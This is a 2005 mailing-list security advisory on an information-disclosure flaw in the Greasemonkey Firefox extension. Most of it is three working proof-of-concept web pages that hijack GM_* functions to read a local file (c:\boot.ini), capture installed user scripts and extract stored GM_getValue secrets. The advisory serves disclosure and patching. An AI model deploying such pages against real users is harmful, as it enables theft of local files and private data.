[NEWS] Greasemonkey Information Disclosure Vulnerability

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Greasemonkey Information Disclosure Vulnerability
------------------------------------------------------------------------


SUMMARY

" <http://greasemonkey.mozdev.org/> Greasemonkey is a  
<http://www.mozilla.org/products/firefox/> Firefox extension which lets 
users add  user scripts  (DHTML, technically) to any web page. These 
scripts can change any aspect of a web page s behavior, interaction, or 
design. This little baby is going to blow up business models."

A security vulnerability discovered in Greasemonkey allows websites that 
matches at least one user script (even * scripts) to read any local file 
on your machine, or to list the contents of local directories. This flaw 
applies to Greasemonkey on all platforms.

DETAILS

A vulnerability was identified in Greasemonkey, which could be exploited 
by remote attackers to read arbitrary files on a vulnerable system. This 
flaw is due to a design error when using insecure "GM_*" functions (i.e. 
GM_xmlhttpRequest, GM_getValue, or GM_getValue), which could be exploited 
via a malicious web page to read any file on a vulnerable system or list 
the contents of local directories.

Patch Availability:
 
<https://addons.mozilla.org/extensions/moreinfo.php?application=firefox&id=748> 
https://addons.mozilla.org/extensions/moreinfo.php?application=firefox&id=748

Exploits:
// Proof of concept exploits by Mark Pilgrim
// #1 - Will disclose the contents of c:\boot.ini
< html>
< head>
< script type="text/javascript">
window._GM_xmlhttpRequest = null;

function trapGM03(sPropertyName, sOldValue, sNewValue) {
window._GM_xmlhttpRequest = window.GM_xmlhttpRequest;
return sNewValue;
}
function trapGM04(sPropertyName, sOldValue, sNewValue) {
window._GM_xmlhttpRequest = sNewValue[0];
return sNewValue;
}
function checkGM() {
if (window._GM_xmlhttpRequest) {
window._GM_xmlhttpRequest({method: 'GET', url: 'file:///c:/boot.ini', 
onload:
function(oResponseDetails) { document.body.innerHTML = '< pre>' +
oResponseDetails.responseText; }});
}
}
if (typeof window.addEventListener != 'undefined') {
window.watch('GM_log', trapGM03);
window.watch('GM_apis', trapGM04);
window.addEventListener('load', checkGM, true);
}
< /script>

< title>GM_xmlhttpRequest leakage demo< /title>
< /head>
< body>
< /body>
< /html>

--------------------------------------------

// #2 - User Scripts Disclosure
< html>
< head>
< script type="text/javascript">
window._GM_scripts = [];
document._numPreviousScripts = 
document.getElementsByTagName('script').length;

function trapInsertScript(event) {
var doc = event.currentTarget;
var arScripts = doc.getElementsByTagName('script');
if (arScripts.length > document._numPreviousScripts) {
window._GM_scripts.push(arScripts[document._numPreviousScripts].innerHTML);
}
}
function trapGM(sPropertyName, sOldValue, sNewValue) {
document.addEventListener('DOMNodeInserted', trapInsertScript, true);
return sNewValue;
}
function checkGM() {
document.removeEventListener('DOMNodeInserted', trapInsertScript, true);
var elmMessage = document.getElementById('message');
if (!window._GM_scripts.length) {
elmMessage.innerHTML = 'You do not appear to be running any Greasemonkey 
scripts,
or the test failed for some reason. Try installing some user scripts that 
run on all pages,
then refresh this page.';
return; }
var elmForm = document.getElementById('f');
for (var i = 0; i <  window._GM_scripts.length; i++) {
var elmTextarea = document.createElement('textarea');
elmTextarea.rows = 20;
elmTextarea.cols = 80;
elmTextarea.value = window._GM_scripts[i];
elmForm.appendChild(elmTextarea);
elmForm.appendChild(document.createElement('br'));
if (!elmMessage.innerHTML) {
elmMessage.innerHTML = 'You appear to be running the following 
Greasemonkey user
scripts on this page:';
}
}
}
if (typeof window.addEventListener != 'undefined') {
window.watch('GM_log', trapGM); // GM 0.3
window.watch('GM_apis', trapGM); // GM 0.4
window.addEventListener('load', checkGM, true);
}
< /script>

< title>Greasemonkey script leakage demo< /title>
< /head>
< body>
< p id="message">< /p>
< form id="f">< /form>
< /body>
< /html>

--------------------------------------------

// #3 - GM_setValue / GM_getValue Information disclosure
< html>
< head>
< script type="text/javascript">
window._GM_getValue = [];

function trapGM03(sPropertyName, sOldValue, sNewValue) {
window._GM_getValue.push(window.GM_getValue);
return sNewValue;
}
function trapGM04(sPropertyName, sOldValue, sNewValue) {
window._GM_getValue.push(sNewValue[3]);
return sNewValue;
}
function checkGM() {
if (window._GM_getValue.length) {
for (var i = 0; i <  window._GM_getValue.length; i++) {
var fGetValue = window._GM_getValue[i];
var sValue = fGetValue('my.secret.key');
if (sValue) {
document.getElementById('message').innerHTML = 
'GM_getValue("my.secret.key") =
' + sValue;
break;
}
}
}
}
if (typeof window.addEventListener != 'undefined') {
window.watch('GM_log', trapGM03);
window.watch('GM_apis', trapGM04);
window.addEventListener('load', checkGM, true);
}
< /script>

< title>Greasemonkey function leakage demo< /title>
< /head>
< body>
< p id="message">Install < a 
href="mysecretkey.user.js">mysecretkey.user.js< /a>,
then refresh this page.< /p>
< - mysecretkey.user.js contains : GM_setValue('my.secret.key', 'f00bar'); 
->
< /body>
< /html>


ADDITIONAL INFORMATION

The original article can be found at:  
<http://www.frsirt.com/english/advisories/2005/1147> 
http://www.frsirt.com/english/advisories/2005/1147



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@xxxxxxxxxxxxxx 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@xxxxxxxxxxxxxx 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.